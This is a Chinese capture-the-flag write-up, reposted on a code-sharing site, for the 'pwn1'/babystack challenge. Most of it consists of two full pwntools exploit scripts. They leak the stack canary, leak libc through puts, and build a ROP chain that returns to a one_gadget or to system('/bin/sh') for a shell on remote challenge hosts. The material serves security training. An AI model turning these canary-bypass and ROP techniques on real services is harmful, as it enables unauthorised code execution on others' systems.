[攻防世界]pwn1


給出了libc.so 應該是計算偏移

圖上說明的很清楚了

通過case1,覆蓋到標志位,就可以通過case2 把表示位puts出來

puts遇到\x00停止

標志位最后兩位一定是\x00 sendline末尾自動加上\n 覆蓋掉\x00

所以puts就不會停止 這也方便我們recv的定位

泄露出標志位,通過case3 就可以常規溢出了

這里用到一個很方便的新東西 one_gadget

這玩意可以直接給你把運行shell的代碼地址找出來

比如這樣

這也是libc里面的地址 仍然需要base地址計算真實地址

每次遇到要recv需要的東西的時候一定要確保接下來輸出就是自己需要recv的東西

from pwn import *
# io=process('./babystack')
io=remote('111.198.29.45',54771)
elf=ELF('./babystack')
libc=ELF('./libc-2.23.so')

io.sendlineafter('>> ','1')
payload='A'*0x88
io.sendline(payload)

io.sendlineafter('>> ','2')
io.recvuntil('A'*0x88+'\n')
canary=u64(io.recv(7).rjust(8,'\x00'))
print 'canary:'+hex(canary)
rdi_pop=0x400a93
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x400908
payload='a'*(0x88)+p64(canary)+'a'*8
payload+=p64(rdi_pop)+p64(puts_got)
payload+=p64(puts_plt)+p64(main_addr)
io.sendlineafter('>> ','1')
io.sendline(payload)
io.recv()
io.sendlineafter('>> ','3')
puts_addr=u64(io.recv(8).ljust(8,'\x00'))
print 'puts_addr:'+hex(puts_addr)
base=puts_addr-libc.symbols['puts']
one_gadget_addr=base+0x45216

io.sendlineafter('>> ','1')
payload='a'*(0x88)+p64(canary)+'a'*8+p64(one_gadget_addr)
io.sendline(payload)
io.sendlineafter('>> ','3')
print "end"
io.interactive()

#rdi, rsi, rdx, rcx, r8, r9

 

 當然自己泄露libc也行

from pwn import *
from LibcSearcher import *

# io = process('./stack')
io = remote('node3.buuoj.cn',29860)
elf=ELF('./stack')
# context(arch='amd64',os='linux',log_level='debug')

payload='A'*0x89
io.sendlineafter('>> ','1')
io.send(payload)
io.sendlineafter('>> ','2')
io.recvuntil('A'*0x89)
canary=u64(io.recv(7).rjust(8,'\x00'))
success('canary:'+hex(canary))

start=0x400720
rdi_pop=0x400a93
payload='A'*0x88+p64(canary)+p64(0)
payload+=p64(rdi_pop)+p64(elf.got['puts'])
payload+=p64(elf.plt['puts'])+p64(start)
io.sendlineafter('>> ','1')
sleep(0.5)
io.sendline(payload)
io.sendlineafter('>> ','3')
puts=u64(io.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts) # 4
base=puts-libc.dump('puts')
success('base:'+hex(base))
system=base+libc.dump('system')
binsh=base+libc.dump('str_bin_sh')

payload='A'*0x88+p64(canary)+p64(0)
payload+=p64(rdi_pop)+p64(binsh)
payload+=p64(system)+p64(start)
io.sendlineafter('>> ','1')
sleep(0.5)
io.sendline(payload)
io.sendlineafter('>> ','3')


io.interactive()
# choice :


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM